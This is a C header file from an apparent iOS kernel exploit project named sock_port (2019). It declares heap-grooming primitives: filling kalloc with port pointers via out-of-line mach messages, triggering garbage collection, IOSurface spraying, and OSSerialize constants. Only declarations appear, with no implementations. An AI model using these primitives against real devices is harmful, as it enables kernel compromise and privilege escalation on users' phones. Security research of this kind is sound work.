//
//  exploit_utilities.h
//  sock_port
//
//  Created by Jake James on 7/17/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#ifndef exploit_utilities_h
#define exploit_utilities_h

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <mach/mach.h>
#include <sched.h>
#include <IOKit/IOKitLib.h>
#include <sys/utsname.h>

#include "iosurface.h"

struct ool_msg  {
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports;
};

struct simple_msg {
    mach_msg_header_t hdr;
    char buf[0];
};

size_t message_size_for_kalloc_size(size_t kalloc_size);
mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition);
mach_port_t send_kalloc_message(uint8_t *replacer_message_body, uint32_t replacer_body_size);
void trigger_gc(void);

enum {
    kIOCFSerializeToBinary          = 0x00000001U,
};

#define kOSSerializeBinarySignature 0x000000D3U

enum {
    kOSSerializeDictionary          = 0x01000000U,
    kOSSerializeArray               = 0x02000000U,
    kOSSerializeSet                 = 0x03000000U,
    kOSSerializeNumber              = 0x04000000U,
    kOSSerializeSymbol              = 0x08000000U,
    kOSSerializeString              = 0x09000000U,
    kOSSerializeData                = 0x0a000000U,
    kOSSerializeBoolean             = 0x0b000000U,
    kOSSerializeObject              = 0x0c000000U,
    
    kOSSerializeTypeMask            = 0x7F000000U,
    kOSSerializeDataMask            = 0x00FFFFFFU,
    
    kOSSerializeEndCollection       = 0x80000000U,
    
    kOSSerializeMagic               = 0x000000d3U,
};

extern mach_vm_size_t pagesize;

extern const uint64_t IOSURFACE_CREATE_SURFACE;
extern const uint64_t IOSURFACE_SET_VALUE;
extern const uint64_t IOSURFACE_GET_VALUE;
extern const uint64_t IOSURFACE_DELETE_VALUE;

int init_IOSurface(void);
void deinit_IOSurface(void);
int spray_IOSurface(void *data, size_t size);

#endif /* exploit_utilities_h */
